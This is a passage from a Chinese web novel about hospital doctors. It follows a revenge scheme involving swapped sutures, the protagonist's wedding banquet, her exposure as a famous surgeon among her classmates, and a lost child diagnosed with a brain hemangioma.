陆嘉述曾给原主介绍研究团队,他在研究团队的成果,也冠了二人的名。 因为此事,二人才被停职调查,但也只是暂停工作而已。 闫民怀还在茫然之中,他依依不舍地看着收拾东西的郤文曜,“曜哥,你什么时候能回来?” 陆随推门走进办公室。 闫民怀看看郤文曜,又看看陆随,真心实意地希望两人能重归于好。 箫珵摇摇头,“你刚毕业?” 还不知道社会险恶,以为所见皆美好。 闫民怀不知该说什么。 郤文曜收好水杯和几本书,办公桌里还剩了几块点心,全都丢给闫民怀。 闫民怀舍不得郤文曜走,也舍不得点心,他抱紧点心说:“曜哥,我真舍不得你。” 郤文曜:“……” 郤文曜要走时,陆随拦住他,“不管是报复我还是报复医院,你做得是不是过了?” 郤文曜放下水杯怪笑,“我做什么了?我不是因为论文的事被要求反省吗?这事是主任的意思,我充其量只是沾点儿光,主任没事我就没事。” 陆随道:“你应该知道胸外有多少患者,换线有可能没事,也有可能出问题,一旦出问题,就是大问题。现在那些术后感染的,你让他们怎么办?” “你好像很喜欢说教,”郤文曜道,“你与其质问我,不如关心关心医院,术后感染的事,我已经通知报社,他们很快就会过来。这么多,还有家属,瞒不住。不管是他们手术过程出现问题,还是医院内部有人捣乱才出事故,医院的公信力都会下降。” 陆随问:“然后呢?” 郤文曜敛起得意的笑容,“什么然后?” 陆随道:“没闹出人命,过不了几天就会被忘记,做几台漂亮的手术,宣传宣传,康宁医院不会变,胸外不会变,每个科室都不会变。只有你,失去做医生的资格。” 郤文曜神色僵硬。 陆随直击要害,“如果有人想报仇,他已经失败,在医院,没人会再信任他。” 箫珵看着郤文曜绝望的样子打了个哆嗦。 陆随这说话语气是和南栀学的吧?专门为了气人? 郤文曜愤怒地看着陆随。 陆随道:“你气我也没用,我可不会犯什么分不清缝线的错误,我做过多少台手术,碰过多少种线,这线是什么材质多少线径,看一眼就知道,你没专门学过辨认缝线?有些医生,做事马虎,习惯开小差,连缝线被换都不知道,他……” 箫珵正在心里琢磨陆随会不会挨胸外医生的打,就听到郤文曜的咆哮声,“我爸没错!!” 箫珵和闫民怀大气都不敢出,都看向郤文曜。 郤文曜摔了几本书,怒道:“我爸免费给街坊四邻看病,病人买不起药,他还要自掏腰包,你们有几个人能做到?!他手术前确认过线径!袋子上标的就是正确的线!他的线是被人换了!” 虽然事发时郤文曜年纪还小,但他至今仍然记得那个晚上,父母之间没有欢声笑语,父亲在房里一直躺到晚上。 他拿着两种缝线在烛光前比对,一遍又一遍地对妻子说:“放错袋子了?我不会放错啊。” “那天是学校的运动会,我什么都不知道,一百米还拿了第一名,我拿着奖状想去找我爸,我妈告诉我,他朋友来了,两人在谈正事。我想去找他,却听到他们在吵架,我爸说是有人故意换了线,对方否认,后来我被我妈赶走,没听到下文。” 箫珵看向陆随。 陆随等郤文曜说完,才不动声色道:“你认为有人陷害你父亲?” “不是认为,是肯定!”郤文曜道,“你可以说线径差距太小,我爸没分出来,但你不能说他马虎到会把缝线放错。是有人陷害他!但是没人相信他!连他的朋友都不信!” 陆随奇怪道:“朋友?难道是主任?” 郤文曜不语。 办公室现在的氛围,箫珵只敢偷偷在心里惊讶,难怪主任对郤文曜一直包容,还带着郤文曜一起蹭论文,他们之间原来还有这层关系。 陆随:“我倒是好奇主任是怎么和你说的。” 郤文曜冷笑,“和你有关系吗?” 陆随:“你爸的事也和我无关,你没说?” 郤文曜:“……” 箫珵:“……” 闫民怀悄声滑步到箫珵身边,用气泡音问:“萧哥,陆哥说话是不是太狠了点儿?” 箫珵:“……” 怪他妹妹了。 箫珵客气地问道:“主任应该很了解医院的情况,你现在还在报复医院,他应该也没说究竟是意外还是栽赃陷害吧?” 郤文曜:“……他说是我爸粗心。” “为什么不信?” 郤文曜问:“你比我更了解我爸?” “我当然相信你们父子之间的感情,但现在的情况是你没有任何证据,就害了那么多病人。” 郤文曜道:“只能怪他们倒霉。” 陆随立刻看向箫珵, 箫珵轻轻点头。 郤文曜意识到他们在套话,“反正现在的事和我无关。” 陆随不听他狡辩,“你报复一堆人,真正害你父亲的人却好好的,你做这些有意义?” 郤文曜:“我再强调一遍,我什么都没有做,何谈报复?至于究竟是谁陷害我爸,我来康宁医院就是为了调查这件事,但事情过了那么多年,我完全没有头绪,这能怪我?如果当时他们不冤枉我爸,我也不需要隔了这么多年再去查!” 陆随鼓掌,“逻辑满分。” 箫珵:“……” 陆随现在怎么举手投足之间都是南栀的影子? 一个家里可不能有两个爱得罪人的。 陆随说:“陷害要有原因,你父亲去世后,谁最受益?” 郤文曜道:“我调查过和我爸同一时间段的医生,我爸死后,另外两人成为骨干,后来调去其他医院。可以说科室所有人都受益。” 陆随问:“包括主任?” 郤文曜眉心拧起,“我能来康宁医院工作,多亏主任帮忙,这些年他一直很照顾我,你想说什么?” 陆随惊讶,“来康宁医院还要帮忙?” 当时的康宁不是临川市最差劲的医院吗? 萧珵差点冲上来捂住陆随的嘴。 这到底是在套话还是挑衅?! 萧珵轻咳道:“他的意思是,凭你的水平,确实可以去更好的医院。” 闫民怀:“……” 怎么没人哄着他? “无论如何我都必须要说,你如果报复,要找准对象,你现在的行为对你父亲的名声一点好处都没有。”陆随不太在意箫珵的解释,轻描淡写道,“你应该知道韦宁雨的本事,我会请他宣扬此事,让他告诉所有人……” “你以为我会害怕吗?!”郤文曜斩钉截铁道,“只要能给我爸报仇,我怎么样都无所谓!被抓进去也无所谓!” 陆随说:“就让他把郤诚是你父亲的事宣扬出去,让所有人都知道你是郤诚的儿子,脑子笨,害人都害不了。” 郤文曜:“……” 箫珵不想走这个路数,但事到如今只能忍痛帮腔,“说是要为父报仇,其实什么都没查明,还去连累无辜病人。” “相信新闻报道出去后大家都可以理解,不会因为对康宁医院失望,毕竟蠢人不多。” 闫民怀瑟瑟发抖,他在心里默念:不要得罪陆哥不要得罪萧哥不要得罪陆哥…… 闫民怀听到郤文曜崩溃地怒吼。 做坏事,还是要有心理素质的。 陆随拿出笔记本,放到郤文曜面前,“当年和郤诚有利益相关的,科室里工作的医生、护士,全都写下来,最好别漏下,如果你连这种小事都做不到,以后还有脸去见你父亲吗?” 倒不是陆随正气凛然,一定要帮郤文曜查。 只是如果此人真的存在,而且仍然留在康宁医院,对医院的未来不太好。 至于郤诚究竟是马虎还是被陷害,这么多年过去,恐怕只有当事人知道。 食堂大厨换着花样做凉拌菜。 凉拌菜固然清爽,但就南栀每天的运动量,实在补不过来。 陆随道:“你先吃,一会儿我去买烤鸡。” 南栀高高兴兴地吃了口凉拌菜。 阮乔表示嫌弃,“贫者不食嗟来之食,烤鸡有什么好吃的?” 陆随淡淡道:“我们是合法夫妻,而且也不是贫者。” 阮乔:“……” 所以她就是很讨厌情侣什么的。 南栀暂时填饱肚子,才开始研究郤文曜给出的名单。 他在心外办公室承认更换缝线,现在医院和警方正在调查,他提前找了报社记者,患者家属得知家人术后感染是医生故意为之,勃然大怒,现在院领导正在和家属协商。 名单里至今仍然留在医院工作的共有五人,除了心外主任和祁念珍,南栀都不认识。 “这五人发展最好的是祁院长和武院长,武院长是外科医生出身,祁院长属于内科,至于我们主任……不能算完全没有医德,有良心,但不多。” 南栀问:“当年郤诚和他们职称相同?” 陆随:“当时还不规范,他们几乎是同时进入医院的,地位差不多。” 箫珵道:“如果当时真的是故意换缝线,用心就太险恶了,当时的医疗条件比现在还差,病人出现问题,完全没有抢救的机会,他就是让病人死。” 阮乔说:“也有可能是患者的仇人,刚好懂医疗知识,在医院工作?” “这一点郤文曜倒是想到了,也查过,”陆随说,“不成立,患者与医院工作人员完全不认识。” 南栀:“针对患者的话,没法确定线就一定会用到这个患者身上,如果有突发状况呢?” 二十年前的事查起来的确困难。 至于胸外科的缝线问题,在调查结果出来前,郤文曜不能再回医院工作。 若找到确切证据,他还要负法律责任。 周末,南家和陆家订好酒店请客吃饭。 临川市的酒店档次不能和首都比,但也还不错。 两家的朋友加在一起,一共请了四桌。 其中一桌是南栀的家人,一桌医院同事,剩下两桌是陆家乱七八糟的亲戚。 陆嘉述有五个孩子,大儿子已经升级做爷爷,一大家子人来恭喜陆随。 虽说已经省去繁琐的仪式,但也不给真的一点儿都不准备,黄春兰和奶奶给南栀亲手做了红色长裙,是礼服的样式。 阮乔最先到酒店,南栀已经换好礼服。 他们都忙,订酒店、试菜都是两家人准备的,南栀是第一次来这里。 阮乔看到南栀穿红裙,颇有一种女儿嫁人的悲痛感,越看陆随越不顺眼。 她替南栀整理裙子,“平时看陆医生挺好的,今天看到他就想揍他,真的就这么结婚了?不再考虑考虑。” 婚姻可是一辈子的大事,结了生了就套牢了。 南栀的精力没法分给感情太多时间,不过有一点她很肯定,在意识到她最开始为何抵触陆随后,慢慢调整状态到现在,她从来都不认为这是需要三思的决定。 南栀:“陆医生很好啊,很照顾我,手术的时候也蛮帅的,家里还挺有钱,他还……” “打住,不用再夸了。” 阮乔把南栀的裙摆整理好,吐槽道:“最听不得你们这 些人的话。” 不过她也不认为陆随会欺负南栀。 几分钟后,陆随过来接南栀。 穿上西装的陆随身姿挺拔,剑眉星眸,怎么看都顺眼。 南栀朝陆随招手,挽上他的手臂。 陆随低声道:“奶奶在医院旁边买了房子,让我们先搬过去住。” 南栀问:“她的身体没问题吗?可以自己住?” 南栀记得原主选择留在临川,就是想照顾陆嘉述。 陆随道:“她担心你过去住不自在。” “怎么会,”南栀大惊,“家里多了一个你,我都不会不自在,多了陆教授更不会了。” 陆随:“……” 结婚的是他们啊喂。 陆随又说:“其实奶奶也嫌别墅太大,住的人太少,太空旷,她想换个小点儿的房子,但地下室的东西太多,以后再说。” 陆嘉述年轻时就不喜欢过苦日子,有些人有钱也不敢外露,她敢。 在她的能力范围之内,住要住好的,吃也要吃好的。 只要自己赚来的钱,怎么花都安心。 别墅也是她张罗着买的,房子大了住得舒服。 但大约是年纪大了,又送走舒教授,她不再喜欢空空荡荡没有人气的别墅。 南栀爽快道:“只要她把资料分给我看,我和她睡一个房间都行。” 陆随:“不行!” 包间已经准备妥当,服务员正在上菜。 南栀和陆随走过去,对于这一小场面,南栀丝毫不担心。 陆随推开门。 南栀丝毫不…… 她看着半屋子陌生人傻眼了。 “这是?” 陆随说:“陆家人。” 南栀:“……” 阮乔跟在后面幽幽道:“陆家也算大家族了,这人际关系,以后可有得你忙。” 南栀:“……我有点儿头疼。” 陆随问:“你以为我不头痛吗?” 他到现在都没很好地分清这些亲戚究竟是谁! 南栀能躲,他可不行! 主角出现,包间内安静下来。 包间内共放置四张圆桌,所有人都看过来。 陆嘉述拄着拐杖走过来,递给陆随一个红色丝绒盒子,她抱怨道:“什么仪式都不要,戒指也不买,这戒指你得给小栀戴上。” 陆随打开盒子,盒子里放着两枚金戒指,款式普通,但克重很足。 直到这一刻,南栀才有恍惚感,原来她真的要结婚了。 领证时她都没想这么多,总觉得还是一个人。 南栀偷偷瞄向陆随。 陆随看起来一直很冷静,他取出戒指,问:“戴吗?” 南栀点点头,朝陆随伸出手。 韦宁雨几人在后面起哄。 南栀耳根发热。 她忽然想到过去无数次看到陆随疑似“发烧”,原来是这种感觉? 灯光的映衬下,陆随的脸色看起来正常,靠近南栀时,南栀却看到他的耳根也是红的。 两人悄无声息地靠近彼此,专心致志地戴戒指,一言不发。 戴好戒指,陆随握了下南栀的手,南栀紧紧拉住他。 陆嘉述简单祝福了两句,直接开席。 南栀越想越多。 是真的结婚,不是小打小闹?也不是糊弄家长? 两个人真的要在一起生活,从此以后就是一家人? 或许还会有更亲密的举动? 其实以前靠近陆随时,南栀的心情就会变好。 南栀想得太入神,陆随给她夹菜都没发现。 怕她含蓄,陆随挑了几样她喜欢吃的菜。 肘子肉都到碗里,她还是没反应,陆随才问:“在想什么?” 南栀回过神,表情严肃,“我在想……” 她说:“戒指挺重的,我们是不是发了?” 金价可是会涨的!! 陆随:“……” 她不会紧张的。 南栀又说:“炖鸡看着挺好吃的,一会儿打包一份吧?” 陆随:“……” 也不会紧张的。 第二天是周日,南栀趁着周日去学校,解决出勤次数太少的问题。 冯固是很支持南栀的,但她偶尔也得露面。 今天有首都的教授来做讲座,要求全班参加。 虽然已经开学很长时间,但南栀对她的同学们完全不熟悉。 这些人的年纪都比她大,南栀过去,他们只当是其他专业的同学来听讲座。 南栀拿出本子和笔。 冯固说了,要南栀带着本子上课,给老师们留点儿面子。 就算不需要记笔记,也要划拉几笔。 南栀考虑到很多课都没上,便答应冯固的请求,努力装样子。 有人回头和南栀说话,“同学,你是哪个专业的,以前好像没见过你。” “孙胜!你又招蜂引蝶?同学别理他,他就喜欢和女生说话,之前劈腿被发现了。” “你是不是有病?我问问专业怎么了,我是为以后考虑!我劈腿也没劈你的腿!” 南栀乖巧地听着他们争论。 教授还没来,大家都在等。 所有人中,只有一个女学生抱着课本在看书。 有人推了她一把,“尹安安,都到礼堂了,你能不能别装了?” 尹安安捂住耳朵,口中念念有词。 那人嬉笑道:“你天天背,考试成绩还是一般,是真没天赋,要不你换个专业吧,还来得及。” 尹安安瞪了他一眼,“别管我。” 她拿起课本往外走。 南栀好奇地看着她。 “你对她感兴趣?”又是刚才和南栀搭话的男学生,他抱着椅子回头,“她是真不太聪明,平时学习刻苦,一到考试就完蛋,和我们班第一名差得很远。” 南栀记得她好像是第一名。 她肯定能考满分,差着分数也正常? 男学生接着说:“我们班的第一名才厉害,我都不知道她是在哪参加考试的,好像有时间才会过来,赶上哪个专业在考试,她就去借人家的考场,回回都拿满分。” 另一人说:“这不公平,有的时候我们已经考过了,她能打听到题目。” “那也不能每一回都是她后考,她也会先考,不还是满分?冯老师说了,让我们别和她比,人家有天赋,脑子好用。” 另一人又道:“这倒是,而且她的名字挺眼熟的,姓南,康宁医院是不是也有个南医生?不会是一个人吧?” “当然不可能,康宁医院的南医生可是舒教授的学生,是去儿研所飞刀的,她起码是博士学历,怎么可能和我们一起上学?” 说到这里,几人都有些自豪,他们能在首都医院面前抬头挺胸的机会可不多。 “我都和我妈说好了,毕业就去康宁医院。” 南栀连连点头。 他们医院真的很缺人!! 十分钟后讲座开始,冯固从后门摸进来。 教授走到台上,拿起话筒,南栀看了他两眼,发现自己认识他。 是富雅医院神外主任龙潭,韦初雪的手术就是他做的。 冯固溜到南栀身边,“这是富雅医院的龙主任,来附近出差,校长知道后特意把他请过来,我想着可能对你有帮助,就让你也来听听。” 南栀说:“龙主任确实很厉害。” 冯固得意道:“我可是很想着你的,冲你带给我的签名,以后这种好事都得叫你!” 南栀送舒教授时,顺便给冯固带了他想要的签名。 他一直想做舒教授的学习,临终前却没能见上她一面。 龙潭的讲座共一小时二十分钟。 因为是富雅医院的医生,经验丰富,看过的病人更多,提问环节学生们十分踊跃。 南栀附近的几个学生也在疯狂举手。 龙潭目光扫过来,路过南栀,又移回去。 龙潭:“咦?” 所有人都听到这一声。 虽然很不对劲,但大家相信,教授是不会做错事的,他一定有他的道理。 龙潭起身,“南医生?你是这所学校的老师?” 大家顺着龙潭的目光看向南栀。 南栀乖巧道:“我在这里上学。” 龙潭:“……” 冯固惊讶道 :“你认识龙主任?” 南栀点头,“我的朋友是找龙主任做的手术,还有一台手术,患者瘤体直径较大,一起商量过。” 刚和南栀打过招呼的学生们:“……” 她在说什么? 是他们的耳朵不好用了吗? 什么叫在上学,在上学的人为什么会和龙主任一起做手术?! 讲座结束,龙潭特意来找南栀表达谢意。 “当时的情况,除了舒教授,我们也没法找别人,但舒教授和患者的关系又特殊……唉,虽然最后他还是去世了,不过手术还是保了他几个月性命。” 脑瘤复发概率高,他们所做的一切都只是延长患者的生命。 康宁医院的数据不多,富雅医院更有经验。 南栀问:“做过手术的患者,死亡率高吗?” 龙潭说:“良性肿瘤恢复得都不错,基本可以和正常人一样。像韦初雪,她恢复得就很好,对生活的影响很小。但是恶性肿瘤切除后,可能过一两年就复发,再次复发,手术的难度更高,治愈的可能性更低。” 癌症始终是人类无法攻克的难题。 龙潭道:“你的实力留在康宁可惜了,虽说康宁现在不同以往,但只说临川市的位置,就不如首都。我正在研究神经肿瘤的分子分型,建立基因图谱,指导靶向治疗,如果你感兴趣,我可以把资料分享给你。” 南栀若有所思。 对付恶性肿瘤,只切除是不行的。 南栀也不知道完全攻克恶性肿瘤的那一天会不会到来,但她想,她也应该做点儿什么。 南栀感激道:“您的建议我会考虑。资料的话,麻烦给我一份吧。” 南栀和龙潭在礼堂门口谈话,门后全是挤过来的学生。 其他人还好,和南栀分到一个班的学生对她可是好奇死了。 他们这位经常拿满分的同学,还真就是全市出名的南医生? 匪夷所思,实在匪夷所思! 第115章 第115章天赋 此事迅速传遍医科大学,现在每个人都知道康宁医院的南医生在他们学校上学,而且她要拿的是研究生学历。 最最重要的是,他们一直以为南医生是资格深的老教授,没想到年纪比他们还要小! 年纪小、刚读研究生,但已经是神外手术的专家。 这让医学生们很是绝望。 他们寒窗苦读到底算什么!! 南栀身份“暴露”,冯固趁机提要求,“康宁的儿科都搞得这么大了,越分越细,你们肯定还缺人。正好我有几个快毕业的学生要去实习,你带带呗” 带实习生很正常,南栀没意见。 冯固赶紧把人都找来,热情介绍道:“这个男生很用功,特别努力,成绩很好。旁边这个没那么细心,但是天赋不错,就是因为天赋好,所以眼高手低,还有这一位……” 几人没去参加讲座,不明所以。 对于冯固的推销,他们很抗拒,“老师,我们是人,不是商品。” 政策才放开几年,都开始推销他们了? 冯固面无表情道:“这是康宁医院的南医生,想带实习生,你们不需要?” 几人安静片刻,争先恐后朝南栀举手,“老师老师,选我,我一定跟着您好好学习!” “你是人,不是商品!别推销自己!老师选我,我比他聪明。” 场面一度混乱。 冯固:“呵,没用的家伙。” 推销起自己来,可比他推销得狠多了。 南栀看了一圈,没看出他们有什么差别。 说什么努力、有天赋……确实没看出来。 南栀问:“您的毕业生都是男生,没有女生?” “也有,相对较少,”冯固说,“我不是想选几个成绩好的,还能打杂的来帮你。” 南栀:“除了打杂,他们应该帮不到我,如果一定要选,选个女学生吧。” 冯固不解地看着她。 南栀道:“您给男学生的机会已经够多了,女学生也需要机会。” 冯固微怔。 他其实没有特别挑选男生,只是想到可能要做力气活儿,可能要有应酬,可能…… 综合一堆没什么用处的理由,他下意识挑了这些人。 南栀说:“和我同班的一个女生看着还行,如果她有时间,可以去找我。” “同班的?谁?” “好像叫尹安安。” 冯固:“尹安安可不行,她脑子比较笨,特别用功,但现在还没跟上节奏。” 南栀茫然道:“聪明学生的标准是什么?您挑的都是聪明的吗?” 没感觉到啊。 冯固:“……” 再说就不礼貌了。 南栀道:“只要肯学就好了嘛,其他事您不用操心。” * 讲座结束,尹安安直奔食堂。 她要去食堂买两个馒头,再打一份豆芽,价格最便宜。 她的午饭只吃一个馒头,另一个会留到晚上,她会直接往馒头里抹辣椒油,吃起来挺香的。 其他时间她还要学习。 其他人都说她笨,她也挺困惑的,其实她高中初中成绩都很好。 可一到大学,面对成堆的课本,她就好像怎么也学不完,进度比人家慢一大截。 舍友从食堂回来时,尹安安已经吃完豆芽开始看书。 “牛啊安安,又在学习,你真是要把我们甩出一条街。” 另一个舍友移开视线,“我妈天天拿你教育我,唉,你让家长们的要求变高了。” 尹安安已经习惯舍友的反应,她平静道:“没办法,我脑子转得慢,天天学还是考不好。” 没人再说话。 尹安安学习努力却不出成绩,已经快成她的心病,这会儿再说话,是往人家伤口上撒盐。 她们开始收拾各自的床铺,中午太阳好,她们打算去晒被子。 两分钟后,班长来不及敲门便冲进来,满头大汗道:“尹安安,你厉害了。” 几人一同看去。 班长说:“咱班有个同学想带你。” “同学?我们学的都是一样的,同学怎么带?同学……难道说?!” “就是她!那个满分的变态!她康宁医院的医生,校长给开的后门,来咱们这里补学历的!尹安安,她看上你了!” * 郤文曜的事还没论断,家属已经被安抚 好,避免事态严重,医院赔了点儿钱。 按照惯例,各科主任提醒手下的人,尽量不要讨论此事,也不要告诉家人。 除了最开始两天,康宁医院稍微受到影响,很快恢复如常。 康宁医院目前最红火的就是儿科。 儿科的各个诊室已经完全区分开,南栀和韦初雪固定在小儿神外出门诊。 南栀和陆随搬到医院附近,步行十分钟就能到医院,很方便。 她远远地看见康宁医院的大楼,掉了的墙皮还是没补上。 康宁医院太过老旧,和它的名气不符,不过连争没有在这方面投入的意思。 墙皮掉了,又不是墙要倒了,不用在意。 几个实习医生走在南栀和陆随前面,吐槽道:“咱们康宁医院,现在也是省内数一数二的医院,怎么到处都破破烂烂的。” “我带朋友过来时,她也不相信这是康宁医院,还以为是五十年代的破楼。” “你别说,康宁医院的大楼,很有可能是五十年代前盖的。” 两人哈哈大笑。 南栀恰好走过去,说道:“我觉得楼还不错诶。” 实习生纳闷地看过去,看到是南栀,立刻立正站好。 他们不是儿科的实习生,但都认识南栀,刚到医院时,他们就偷偷跑去儿科看过大名鼎鼎的南医生。 南栀道:“反正墙皮再烂,也不耽误我们上班。” 不耽误治病救人。 陆随:“怀旧风。” 实习生互相看看彼此。 没多久康宁医院的医生们就听到有人吹嘘康宁医院——“康宁医院的钱,全花在刀刃上,楼烂怎么了,钱要花在刀刃上!掉下来的墙皮就是我们的军功章!” 医生们:“……” 军……功章? 问过他们了吗?! 阮乔暂时给南栀做助手。 南栀刚到,阮乔便热情地迎上来,“新婚愉快!” 南栀露出笑容,“是蛮开心的!” 阮乔低声问:“一切顺利吗?” “当然顺利啦,”南栀说,“我爸妈把什么都安排好了,我不用操心。” 就连她和陆随的新房都是黄春兰和几个姨妈一起布置的。 孟闵还被拉去布置新房,他一心留在康复科,好大的不高兴。 阮乔挤挤眼睛,“我是说你和陆医生,都顺利吗?” 其实她不喜欢打听别人的隐私,对这方面的事也不是十分执着。 但是,怎么说呢……她有点儿担心南栀和陆随会干躺在床上,然后聊康宁医院的未来。 真的很有可能。 南栀:“你是说交……” “停!这是儿科!” 南栀:“这还没有,这两天太累了,回到家就想睡觉,没时间。” 阮乔:“……” 果然是干躺在床上。 她无奈道:“那你还高兴?每天累得爬不起来,有什么好高兴的。” “睡觉很安心?”南栀说,“旁边有人,不用担心有人冲进来打我,感觉很好诶。” “啊?”阮乔摸了摸南栀的额头,“没傻啊。” 怎么说了一堆胡话? 这种感觉阮乔是无法理解的,南栀也说不清楚。 她其实心里十分明白,黄春兰和南明杰对她很好,小时候的事不会再发生,但就是会无意识地担心。 现在好了,她每天都能睡得舒舒服服的。 半夜醒来看到陆随,还能偷偷玩玩儿他的手指,研究他平时是如何做手术的。 阮乔:“你真是神奇。” 南栀:“你没结婚,不明白,反正就是安心。” 阮乔:“……” 攻击她喽。 下午,小儿神外门诊来了个领着孩子的女孩。 女孩学生打扮,领着的孩子有五六岁,穿着脏兮兮的小裙子,头发里还藏着跳蚤,路过的人或多或少都多看了几眼。 阮乔从办公室走出来,被孩子的五官吓了一跳,“这是?” 尹安安走上前,“您好,这个孩子应该是病了,眼歪嘴斜,我怀疑是脑子的问题。” “是有可能,但你是她的家属?她看起来像是……流浪的小朋友。” 像刚流浪不久的小朋友,还背着好看的书包。 尹安安自我介绍道:“我是医科大学的学生,今天来医院找南医生,正好遇到她,就把她带来了,但是南医生的号好像满了。” 阮乔又看了尹安安几眼,“等等,我去问问她。” 尹安安看向诊室屋门。 直到她来医院前,舍友还在狂欢,说她前途一片大好。 南栀是舒映阶去世前最后一位学生,按照他们的说法,这叫关门弟子,肯定学了不少。 尹安安现在刚读研究生,如果以后南栀愿意教她,四舍五入,不就和舒教授攀上关系了? 就算没有舒教授,去参加讲座的人也都听到,南医生可是帮过儿研所和富雅医院的忙的,这两家医院是国内儿童和成人方面最权威的医院。 康宁医院的幸运现在落到她们身上。 尹安安很紧张。 她昨天找过南栀的采访,南栀虽然写过不少文章,也接受过记者采访,但没留下照片,她不喜欢出镜。 尹安安只听到她的声音,很好听的女声,听起来年纪不大,很随和。 但老师同学都说南栀是外科圣手,手术天才,她不知道自己有什么本事能让南栀看上。 两分钟后,阮乔走出诊室,“你本来就是找南医生的,就不要排队了,南医生的门诊很火,现排是排不上的,等会儿午休你直接带着孩子进去吧。” 尹安安等到十二点,排队的人才陆陆续续都离开。 康宁医院正常是十一点半休息,但南栀总是看不完,就主动加时,现在很多外市人来康宁医院,来一趟不容易,总不能让人家干等着。 尹安安抓着孩子的手,忐忑地走进去。 刚进门她就鞠躬道歉,“南老师,不好意思,我不是故意的,我就是,我……” 南栀没说话。 尹安安不敢抬头。 场面一度僵持不下。 韦初雪无奈道:“我看着都头疼,你不能让人家站直说话。” 南栀无辜道:“我是想看看她要编什么理由来着。” 她很耐心地等呢,哪会知道尹安安编不出来了。 尹安安:“……” 她偷偷看了南栀一眼。 意外的年轻,而且好看。 是很健康的好看,虽然穿着白大褂,但还是能看出她经常锻炼。 南栀说:“你不用叫我老师,我们其实是同学。” 尹安安:“……” 怎么说呢,虽然能听出南栀的语调很真诚,但这话真的不像是好话。 韦初雪道:“这孩子是什么情况?” 尹安安赶紧把孩子推过去,“具体的我不太清楚,我是在路上遇到她的,她的精神比较好,但是嘴歪得很厉害,我问过她,她说最近经常吐,每天吃不了什么东西也会吐,实在吐不出来就干呕。” 尹安安希望南栀和韦初雪能帮着看看,但两人只是淡定地看着尹安安。 尹安安:“……” 像极了老师在考试,救命。 尹安安后知后觉道:“还有其他症状……我看不出来,我怀疑和大脑有关,正好要来找南老师,就把人带过来了。” 韦初雪评价道:“还不错,能有这意识也不错,但是作为神经外科的医生,应该能看出更多情况。” 尹安安羞愧道:“我成绩一般。” 南栀说:“我看过你的成绩单,中游,还可以。” 尹安安脑中想的是南栀的满分。 满分说中游还可以,尹安安有点儿想哭。 “不是最差的,不要灰心,”南栀努力安慰,“你已经读研,肯定能做医生。” 尹安安:“谢谢老师。” 南栀:“不用叫我老师,我们是同学。” 尹安安:“……” 不知为何,这好像更扎心。 南栀又问了些小姑娘的情况,尹安安不是很了解,她和小姑娘是单纯偶遇,好在小姑娘还能回答南栀的话。 她叫张琪,不是临川人,一个月前和父母出去玩,在公园走散。 一个叔叔说要带她去找妈妈,但是却把她带上火车,她很聪明,发现不对劲后趁机逃走。 之后便开始在临川流浪,因为遇到过坏叔叔,谁都不相信,也不知道去找警察帮忙。 尹安安花了好些时间才取得张琪的信任,主要是刚出炉的老蛋糕太好吃。 张琪的情况很严重。 她右眼睑闭合不全,口左斜,头偏左。 南栀给张琪开了头颅CT和头颅MRI的检查,等待检查时,南栀把尹安安叫到办公室。 “如果张琪的情况不好,是需要去找她的家人的,有些治疗需要家人签字才能进行,比如手术。” 尹安安说:“我去过派出所,报过案,但琪琪记不住家在哪,只知道在哪个城市,找起来可能需要时间。” 韦初雪在一旁说道:“她发病一个月,与家人分开也一个月,确定真的是走失吗?” 尹安安脸色泛白,“是她家人故意将她丢了?这、这不能吧,她的裙子书包都挺好的,家里人对她应该挺好。” “但她生病也是最近一个月的事情,”韦初雪说,“她现在的情况比较麻烦,父母都在,我们不能贸然治疗,我们得征得他们的同意。” 其他方面的治疗还好说,如果需要手术,就必须家属知情且同意。 恶性肿瘤切除后复发的可能性也很高,对普通家庭是毁灭性的打击,医院不能替他们做决定。 尹安安不太理解,“如果她快不行了,不是也得急救吗?” 南栀解释道:“当然要急救,但急救只是稳住生命体征,意义不同。如果她是真的孤儿,我们就只需要考虑治疗费用,评估如何治疗对她最好,但她不是孤儿。” “我理解你,你现在一心救人,还想不到这么多,我刚工作时和你一样,”韦初雪安慰道,“你也别想太多,也许情况没那么糟糕。” 张琪的检查结果出现,头颅CT显示,右侧桥臂团块状混杂密度影,边界不清,约16mm*16mm*19mm。 头颅MRI显示,海绵状血管瘤的可能性极大。 海绵状血管瘤实际上是血管畸形。 薄壁血管窦异常扩张,组成血管畸形,结构似海绵。 尹安安怔怔地看着报告单。 南栀说:“右侧桥臂局部出血,海绵状血管瘤可能性大,手术指征明确。” 尹安安问:“不能保守治疗吗?” “如果她无症状,可以尝试,但现在已经出血,不能不管。海绵状血管瘤的预后还不错,可能有神经损伤,但大部分都良好,如果可以做手术,韦医生主刀。” 尹安安低声问道:“但还是要等找到她的父母?” 南栀安慰道:“医院会去联系派出所,你还是学生,不要考虑那么多,张琪暂时留在医院。” “如果……一直找不到她的父母呢?费用怎么办?” 南栀:“即便联系不到父母,病人危在旦夕时,也一定会抢救。同理,如果不立即做手术会导致严重后果,这个手术也一定会做。 现在没到那一步,先等警方结论。” 尹安安沉默。 她刚见到琪琪时,琪琪见到人就躲。 琪琪本身是个白净的小姑娘,现在眼歪嘴斜,还要忍受头痛。 她是医学生,可什么都做不了。 尹安安抓起书包站起来,忐忑道:“我……这几天能来看看她吗?我没有课时可以来照顾她。” 面对南栀,尹安安还是有些忐忑,大概是学生天生怕“老师”。 南栀笑道:“别急着走,坐。” 尹安安抱着书包不知所措。 南栀说:“我看了你的成绩单,也听说了你的事。” 南栀提出带冯固时,冯固百般阻挠,他倒不是一定要南栀选一位男同学,而是想推荐更有天赋的学生给南栀。 尹安安虽然努力,但显然不够聪明。 尹安安更加紧张。 她一直认为这件事不太真实,又恰好遇到张琪,都忘记自己来医院的真正目的。 南栀柔声道:“可以和我讲讲你在学习中遇到什么困难吗?” 尹安安怔了怔,低声道:“我的成绩一般。” 不提南栀,就是班级第二,都比尹安安轻松很多。 南栀说:“天赋很重要,但也没那么重要,绝大多数人都没什么天赋,这种时候只能比谁更努力。” 尹安安:“……” 这话由南栀说出口,格外没有说服力。 但是南栀居然愿意帮她分析情况? 冯老师说南栀很忙,还会去首都做手术。 教授们的学生很多,但谁都愿意挑更聪明的去教。 尹安安对南栀多了些好感,她尽量让自己放松。 “我就是学得很慢,我高中成绩很好,上大学就不行了,大学四年一直跟不上进度,能考上研究生,好像也是我运气好。” “总结过为什么跟不上进度吗?” “学不明白,”尹安安回忆道,“总是要花很多时间去查资料、整理笔记,但是查资料很费时间。” 南栀问:“带了笔记过来吗?给我看看。” 尹安安手忙脚乱,书包拉链却卡住,她用力扯拉链,憋红了脸,尴尬地看着南栀。 